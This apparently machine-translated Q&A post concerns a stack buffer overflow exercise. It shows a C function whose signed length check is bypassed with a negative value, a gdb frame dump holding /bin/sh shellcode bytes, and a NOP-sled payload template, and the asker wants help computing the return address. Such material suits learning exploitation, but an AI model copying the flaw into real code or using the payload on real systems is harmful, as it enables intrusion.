-1
我試圖粉碎堆棧,並嘗試從下面的鏈接讀取shell: http://insecure.org/stf/smashstack.html 我發送arglen neg併成功粉碎了堆棧並且代碼給出了段錯誤。但是我不能計算我應該放置SHELL代碼的RET地址。因此,在距離之後的緩衝區中,我將放置SHELL代碼。從緩衝區指針計算堆棧中的返回地址
int foo(char* arg, short arglen)
{
char buffer[8];
short maxlen = 8;
int len;
if (arglen < maxlen)
{
len = strlen(arg);
printf("arglen =%d, buf size =%d\n", arglen, len);
strncpy(buffer, arg, len);
}else
printf("foo finished. Everything is normal.\n");
return 0;
}
在strncpy()函數的info frame
O /上述代碼p是把斷點:
(gdb) info frame
Stack level 0, frame at 0xffffc740:
eip = 0x804854a in foo (target.c:17); saved eip = 0x804864f
called by frame at 0xff80cd13
source language c.
Arglist at 0xffffc738, args: arg=0xffffc750 "1\300Ph//shh/bin\211\343PS\211ᙰ\v̀", arglen=-32549
Locals at 0xffffc738, Previous frame's sp is 0xffffc740
Saved registers:
ebp at 0xffffc738, eip at 0xffffc73c
(gdb)
如何從buffer
地址計算的返回地址?
[編輯]
12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE
喜歡我希望把我的緩衝存儲器
在我的問題中有什麼問題?如果可能的話,我可以幫助清理 – 2015-02-08 12:27:32
您的代碼很可能無法工作,除非您重建Linux內核時沒有x86處理器ca 2001(英特爾稍後)中引入的「不執行堆棧」保護。 – 2015-02-08 14:15:42